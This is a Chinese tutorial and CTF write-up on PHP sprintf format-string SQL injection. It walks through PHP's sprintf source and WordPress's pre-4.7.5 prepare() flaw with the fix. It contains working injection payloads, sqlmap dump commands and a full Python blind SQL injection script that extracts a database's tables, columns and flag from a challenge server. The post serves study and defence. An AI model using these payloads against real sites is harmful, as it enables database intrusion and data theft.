深入解析sprintf格式化字符串漏洞

2023-11-06

深入解析sprintf格式化字符串漏洞

0x00 前言

从相遇到相识

从相识到相知

.........

不过你真的懂ta吗

这次故事的主角是PHP中的格式化函数sprintf

0x01 sprintf()讲解

首先我们先了解sprintf()函数

sprintf() 函数把格式化的字符串写入变量中。

sprintf(format,arg1,arg2,arg++)

arg1、arg2、++ 参数将被插入到主字符串中的百分号（%）符号处。该函数是逐步执行的。在第一个 % 符号处，插入 arg1，在第二个 % 符号处，插入 arg2，依此类推。

注释：如果 % 符号多于 arg 参数，则您必须使用占位符。占位符位于 % 符号之后，由数字和 "\$" 组成。

详细看一下sprintf的用法

语法

sprintf(format,arg1,arg2,arg++)

参数	描述
format	必需。规定字符串以及如何格式化其中的变量。可能的格式值： %% - 返回一个百分号 % %b - 二进制数 %c - ASCII 值对应的字符 %d - 包含正负号的十进制数（负数、0、正数） %e - 使用小写的科学计数法（例如 1.2e+2） %E - 使用大写的科学计数法（例如 1.2E+2） %u - 不包含正负号的十进制数（大于等于 0） %f - 浮点数（本地设置） %F - 浮点数（非本地设置） %g - 较短的 %e 和 %f %G - 较短的 %E 和 %f %o - 八进制数 %s - 字符串 %x - 十六进制数（小写字母） %X - 十六进制数（大写字母）附加的格式值。必需放置在 % 和字母之间（例如 %.2f）： + （在数字前面加上 + 或 - 来定义数字的正负性。默认情况下，只有负数才做标记，正数不做标记） ' （规定使用什么作为填充，默认是空格。它必须与宽度指定器一起使用。例如：%'x20s（使用 "x" 作为填充）） - （左调整变量值） [0-9] （规定变量值的最小宽度） .[0-9] （规定小数位数或最大字符串长度）注释：如果使用多个上述的格式值，它们必须按照以上顺序使用。
arg1	必需。规定插到 format 字符串中第一个 % 符号处的参数。
arg2	可选。规定插到 format 字符串中第二个 % 符号处的参数。
arg++	可选。规定插到 format 字符串中第三、四等 % 符号处的参数。

返回值：	返回已格式化的字符串。
PHP 版本：	4+

通过几个例子回顾一下sprintf

例子1：

<?php
$number = 123;
$txt = sprintf("带有两位小数：%1\$.2f<br>不带小数：%1\$u",$number);
echo $txt;
?>

输出结果:

带有两位小数：123.00

不带小数：123

例子2：

<?php
$num1 = 123456789;
$num2 = -123456789;
$char = 50;
// ASCII 字符 50 是 2
//注释：格式值 "%%" 返回百分号
echo sprintf("%%b = %b",$num1)."<br>"; // 二进制数
echo sprintf("%%c = %c",$char)."<br>"; // ASCII 字符
echo sprintf("%%s = %s",$num1)."<br>"; // 字符串
echo sprintf("%%x = %x",$num1)."<br>"; // 十六进制数（小写）
echo sprintf("%%X = %X",$num1)."<br>"; // 十六进制数（大写）
?>

输出结果:

%b = 111010110111100110100010101

%c = 2 //注意var_dump('2')为string

%s = 123456789

%x = 75bcd15

%X = 75BCD15

0x02 sprintf注入原理

我们来看一下sprintf()的底层实现方法

switch (format[inpos]) {
case 's':
    {
        zend_string * t;
        zend_string * str = zval_get_tmp_string(tmp, &t);
        php_sprintf_appendstring( & result, &outpos, ZSTR_VAL(str), width, precision, padding, alignment, ZSTR_LEN(str), 0, expprec, 0);
        zend_tmp_string_release(t);
        break;
    }
case 'd':
    php_sprintf_appendint( & result, &outpos, zval_get_long(tmp), width, padding, alignment, always_sign);
    break;
case 'u':
    php_sprintf_appenduint( & result, &outpos, zval_get_long(tmp), width, padding, alignment);
    break;
case 'g':
case 'G':
case 'e':
case 'E':
case 'f':
case 'F':
    php_sprintf_appenddouble( & result, &outpos, zval_get_double(tmp), width, padding, alignment, precision, adjusting, format[inpos], always_sign);
    break;
case 'c':
    php_sprintf_appendchar( & result, &outpos, (char) zval_get_long(tmp));
    break;
case 'o':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 3, hexchars, expprec);
    break;
case 'x':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, hexchars, expprec);
    break;
case 'X':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 4, HEXCHARS, expprec);
    break;
case 'b':
    php_sprintf_append2n( & result, &outpos, zval_get_long(tmp), width, padding, alignment, 1, hexchars, expprec);
    break;
case '%':
    php_sprintf_appendchar( & result, &outpos, '%');
    break;
default:
    break;
}

可以看到， php源码中只对15种类型做了匹配，其他字符类型都直接break了，php未做任何处理，直接跳过，所以导致了这个问题：

没做字符类型检测的最大危害就是它可以吃掉一个转义符\, 如果%后面出现一个\,那么php会把\当作一个格式化字符的类型而吃掉\, 最后%\（或%1$\）被替换为空

因此sprintf注入，或者说php格式化字符串注入的原理为：

要明白%后的一个字符(除了%，%上面表格已经给出了)都会被当作字符型类型而被吃掉，也就是被当作一个类型进行匹配后面的变量，比如%c匹配asciii码，%d匹配整数，如果不在定义的也会匹配，匹配空，比如%\，这样我们的目的只有一个，使得单引号逃逸，也就是能够起到闭合的作用。

这里我们举两个例子

NO.1

不使用占位符号

<?php
$sql = "select * from user where username = '%\' and 1=1#';" ;
$args = "admin" ;
echo  sprintf ( $sql , $args ) ;
//=> echo sprintf("select * from user where username = '%\' and 1=1#';", "admin");
//此时%\回去匹配admin字符串，但是%\只会匹配空

运行后的结果

select * from user where username = '' and 1=1#'

NO.2

使用占位符号

<?php
$input = addslashes ("%1$' and 1=1#" );
$b = sprintf ("AND b='%s'", $input );
$sql = sprintf ("SELECT * FROM t WHERE a='%s' $b ", 'admin' );
//对$input与$b进行了拼接
//$sql = sprintf ("SELECT * FROM t WHERE a='%s' AND b='%1$\' and 1=1#' ", 'admin' );
//很明显，这个句子里面的\是由addsashes为了转义单引号而加上的，使用%s与%1$\类匹配admin，那么admin只会出现在%s里，%1$\为空
echo  $sql ;

运行后的结果

SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

对于这个问题，我们还可以这样写

$sql = sprintf ("SELECT * FROM table WHERE a='%1$\' AND b='%d' and 1=1#' ",'admin');

//result: SELECT * FROM t WHERE a='admin' AND b='' and 1=1#'

第一个格式化处匹配时为空，会让给后面的格式化匹配

以上两个例子是吃掉'\'来使得单引号逃逸出来

下面这个例子我们构造单引号

NO.3

对%c进行利用

<? php
$input1 = '%1$c) OR 1 = 1 /*' ;
$input2 = 39 ;
$sql = "SELECT * FROM foo WHERE bar IN (' $input1 ') AND baz = %s" ;
$sql = sprintf ( $sql , $input2 );
echo  $sql ;

%c起到了类似chr()的效果，将数字39转化为‘，从而导致了sql注入。

所以结果为：

SELECT * FROM foo WHERE bar IN ('') OR 1 = 1 /*) AND baz = 39

总结

漏洞利用条件

1、sql语句进行了字符拼接

2、拼接语句和原sql语句都用了vsprintf/sprintf 函数来格式化字符串

0x03 题目训练

形式很像SQL注入，而且题目中提示为SQLI

先试了一下弱口令，确定username为admin

那么就对username与password进行注入，开始普通注入，二次解码，宽字节，过滤空格，过滤关键字等姿势进行构造注入语句都无果，而且还耗费大量的时间，不过后来get到一种新姿势，使用burpsuit的intruder跑一下，来查看那些字母或者字符没有被过滤掉（waf字典）

后来发现%可疑，于是拿出来repeater一下

sprintf函数出错，那么sprintf是什么？格式化字符串，于是乎就懂得其中的原理了，是让单引号逃逸

构造username=admin%1$\' and 1=2# 与 username=admin%1$\' and 1=1#

发现如下的结果

可以发现'后面的语句带入执行了，这就是注入点，使用sqlmap跑一下

抓去post包

python sqlmap.py -r 3.txt -p username --level 3 --dbs --thread 10

对ctf库跑tables

得到

对flag跑columns

得到

对每个列进行dump但是dump下来不对，找了一波原因没有找到，开始用脚本跑

跑完后才发现sqlmap跑出来的列不对，应该是flag，于是

python sqlmap.py -r 3.txt -p username --level 3 -D ctf -T flag -C flag --dump --thread 10

才得到正确结果：）（希望能得到大佬们的指正）

下面是脚本跑的

中心思想

先判断length

然后使用ascii判断字母

ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"

使用这个语句进行判断

代码：

#coding:utf-8
import requests
import string

def boom():
    url = r'http://f6f0cdc51f8141a6b1a8634161859c1c78499dc70eea47f0.game.ichunqiu.com/'
    s = requests.session()
	//会话对象requests.Session能够跨请求地保持某些参数，比如cookies，即在同一个Session实例发出的所有请求都保持同一个cookies,而requests模块每次会自动处理cookies，这样就很方便地处理登录时的cookies问题。
    dic = string.digits + string.letters + "!@#$%^&*()_+{}-="
    right = 'password error!'
    error = 'username error!'
    lens = 0
    i = 0
	//确定当前数据库的长度
    while True:
        payload = "admin%1$\\' or " + "length(database())>" + str(i) + "#"
        data={'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            lens=i
            break
        i+=1
        pass
    print("[+]length(database()): %d" %(lens))
	//确定当前数据库的名字
    strs=''
    for i in range(lens+1):
        for c in dic:
            payload = "admin%1$\\' or " + "ascii(substr(database()," + str(i) +",1))=" + str(ord(c)) + "#"
            data = {'username':payload,'password':1}
            r = s.post(url,data=data).content
            if right in r:
                strs = strs + c
                print strs
                break
        pass
    pass
    print("[+]database():%s" %(strs))

    lens=0
    i = 1
    while True:
        payload = "admin%1$\\' or " + "(select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>" + str(i) + "#"
		//对当前的数据库，查询第一个表的长度
        data = {'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            lens = i
            break
        i+=1
        pass
    print("[+]length(table): %d" %(lens))

    strs=''
    for i in range(lens+1):
        for c in dic:
            payload = "admin%1$\\' or " + "ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(i) +",1))=" + str(ord(c)) + "#"
			// 数字一定要str才可以传入
            data = {'username':payload,'password':1}
            r = s.post(url,data=data).content
            if right in r:
                strs = strs + c
                print strs
                break
        pass
    pass
    print("[+]table_name:%s" %(strs))
    tablename = '0x' + strs.encode('hex')
	//编码为16进制
    table_name = strs

    lens=0
    i = 0
    while True:
        payload = "admin%1$\\' or " + "(select length(column_name) from information_schema.columns where table_name = " + str(tablename) + " limit 0,1)>" + str(i) + "#"
        data = {'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            lens = i
            break
        i+=1
        pass
    print("[+]length(column): %d" %(lens))

    strs=''
    for i in range(lens+1):
        for c in dic:
            payload = "admin%1$\\' or " + "ascii(substr((select column_name from information_schema.columns where table_name = " + str(tablename) +" limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
            data = {'username':payload,'password':1}
            r = s.post(url,data=data).content
            if right in r:
                strs = strs + c
                print strs
                break
        pass
    pass
    print("[+]column_name:%s" %(strs))
    column_name = strs
	
    num=0
    i = 0
    while True:
        payload = "admin%1$\\' or " + "(select count(*) from " + table_name + ")>" + str(i) + "#"
        data = {'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            num = i
            break
        i+=1
        pass
    print("[+]number(column): %d" %(num))

    lens=0
    i = 0
    while True:
        payload = "admin%1$\\' or " + "(select length(" + column_name + ") from " + table_name + " limit 0,1)>" + str(i) + "#"
        data = {'username':payload,'password':1}
        r = s.post(url,data=data).content
        if error in r:
            lens = i
            break
        i+=1
        pass
    print("[+]length(value): %d" %(lens))

    i=1    
    strs=''
    for i in range(lens+1):
        for c in dic:
            payload = "admin%1$\\' or ascii(substr((select flag from flag limit 0,1)," + str(i) + ",1))=" + str(ord(c)) + "#"
            data = {'username':payload,'password':'1'}
            r = s.post(url,data=data).content
            if right in r:
                strs = strs + c
                print strs
                break
        pass
    pass
    print("[+]flag:%s" %(strs))

if __name__ == '__main__':
    boom()
    print 'Finish!'

0x04 Wordpress格式化字符串漏洞

wordpress版本小于4.7.5在后台图片删除的地方存在一处格式化字符串漏洞

官方在4.7.6已经给出了补救办法

在我们即将要说的地方增加了这么一端代码

$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents

只允许 %后面出现dsF 这三种字符类型，其他字符类型都替换为%%\\1, 而且还禁止了%, $ 这种参数定位

首先

我们找到upload.php

可以发现在deleta中 $post_id_del（比如int()）未经过处理，直接传入

case 'delete':
    if ( !isset( $post_ids ) )
        break;
    foreach ( (array) $post_ids as $post_id_del ) {
        if ( !current_user_can( 'delete_post', $post_id_del ) ) //跟进
            wp_die( __( 'Sorry, you are not allowed to delete this item.' ) );

        if ( !wp_delete_attachment( $post_id_del ) )
            wp_die( __( 'Error in deleting.' ) );
    }
    $location = add_query_arg( 'deleted', count( $post_ids ), $location );
    break;

跟进wp_delete_attachment( )函数

其中参数$post_id_del为图片的postid

wp_delete_attachment( )中调用了delete_metadata 函数

function wp_delete_attachment( $post_id, $force_delete = false ) {
.......
delete_metadata( 'post', null, '_thumbnail_id', $post_id, true ); // delete all for any posts.
......
}

继续跟进delete_metadata函数

漏洞触发点主要在wp-includes/meta.php 的 delete_metadata函数里面，有如下代码:

if ($delete_all) {
    $value_clause = '';
    if ('' !== $meta_value && null !== $meta_value && false !== $meta_value) {
        $value_clause = $wpdb - >prepare(" AND meta_value = %s", $meta_value);
    }
    $object_ids = $wpdb - >get_col($wpdb - >prepare("SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key));
}

调用了两个prepare函数

跟进prepare函数

public function prepare( $query, $args ) {
	if ( is_null( $query ) )
        return;
    // This is not meant to be foolproof -- but it will catch obviously incorrect usage.
    if ( strpos( $query, '%' ) === false ) {
        _doing_it_wrong( 'wpdb::prepare', sprintf( __( 'The query argument of %s must have a placeholder.' ), 'wpdb::prepare()' ), '3.9.0' );
}
    $args = func_get_args();
    array_shift( $args );
    // If args were passed as an array (as in vsprintf), move them up
    if ( isset( $args[0] ) && is_array($args[0]) )
        $args = $args[0];
    $query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
    $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
    $query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
    $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s
    array_walk( $args, array( $this, 'escape_by_ref' ) );
    return @vsprintf( $query, $args );
}

详细看prepare函数对传入参数的处理过程

$query = str_replace( "'%s'", '%s', $query ); // in case someone mistakenly already singlequoted it
    $query = str_replace( '"%s"', '%s', $query ); // doublequote unquoting
    $query = preg_replace( '|(?<!%)%f|' , '%F', $query ); // Force floats to be locale unaware
    $query = preg_replace( '|(?<!%)%s|', "'%s'", $query ); // quote the strings, avoiding escaped strings like %%s

把'%s'替换为%s，然后再把"%s"替换成%s，替换为浮点数%F 把%s替换成 '%s'

最后再进行vsprintf( $query, $args );

对拼接的语句进行格式化处理

我们一步步分析

假设传入的$meta_value为'admin'

$wpdb->prepare( " AND meta_value = %s", $meta_value );

经过prepare函数处理后得到

vsprintf( " AND meta_value = '%s'",'admin')

=> AND meta_value = 'admin'

return到上一级函数后，继续执行这一条拼接语句：

$wpdb->prepare( "SELECT $type_column FROM $table WHERE meta_key = %s $value_clause", $meta_key )

经过prepare函数处理后得到

vsprintf( "SELECT $type_column FROM $table WHERE meta_key = '%s' AND meta_value = 'admin'",'admin')

=> SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'admin'

看起来一切都很正常，毫无bug

但是我们可以思考一下，怎样使其形成注入呢？或者说怎样逃逸一个单引号？

在之前我们先看一下，可控变量 $post_id_del 的路线

$post_id_del => $post_id => $meta_value => $args => $query

显然这里面两处admin都有单引号，而且两处都与 $post_id_del 联系，如何来选择？

对于第一处单引号

它是通过一次替换处理得到的，显然是对单引号无法处理

对于第二处单引号

经过两次的替换，（这里的意思是执行了两次的替换代码，可能第二段代码对他没有起到实质性的作用，仅仅是去点单引号然后又加上单引号）

但是这一出经过了两次处理是必须的，那么我们是否能够是构造出另一个单引号（此时第二处有三个单引号）就可以闭合前面的单引号了

最重要的是，第二次的替换处理的变量是可控的，因此要引入单引号，我们需要$meta_value含有%s

那么第一次的结果为

AND meta_value = 'X%sY'（其中XY为未知量）

//这里需要注意，为什么%s不被单引号围起来，我看过一片博客，它是写的'%s'，这显然是错的，为什么呢？我们生成了'%s'是没错，不过还原一下过程就知道了，首先我们生成了AND meta_value = '%s'，注意此时与$meta_value没有半毛钱关系，后来的vsprintf后，才与$meta_value有了关系，原来的%s被替换成了X%sY，值得注意的是这里的%s没有经过任何处理，处理是在第二轮进行的，这是后话。

第二次后的结果为

SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'X'%s'Y'

对于第二处的%s我们先不要带入格式化后的值，其实真实的语句应该为：

SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = 'X'admin'Y'

分析到这里，相信大家应该知道传值（$meta_value）使单引号逃逸出来了吧

admin显然是多余的，那么我们需要把它放在单引号里面，因此第二个单引号需要去掉，那么第四个单引号需要注释掉，这就很轻而易举地构造sql语句

AND meta_value = 'Xadmin'Y

Y里面就是我们注入的代码

怎么去传值呢？

利用格式化字符串漏洞

去掉第二个单引号就需要使该单引号成为%后的第一个字符，也就是%'，但是我们还需要一个占位符，%1$' 这样就没有报错的去掉了该单引号

所以我们构造的payload为

$meta_value = %1$%s AND SLEEP(5)#

=> AND meta_value = '%1$%s AND SLEEP(5)'

=> "SELECT $type_column FROM $table WHERE meta_key = '%s' AND meta_value = AND meta_value = '%1$'%s' AND SLEEP(5)#'",'admin'

其中 %1$' => 空

=> SELECT $type_column FROM $table WHERE meta_key = 'admin' AND meta_value = AND meta_value = 'admin' AND SLEEP(5)#'

成功利用该漏洞形成时间注入

现在我们说一下第四部分开头的补救方法

后来官方在prepare函数加了这一代码

$query = preg_replace( '/%(?:%|$|([^dsF]))/', '%%\\1', $query ); // escape any unescaped percents

只允许 %后面出现dsF 这三种字符类型，其他字符类型都替换为%%\\1, 而且还禁止了%, $ 这种参数定位

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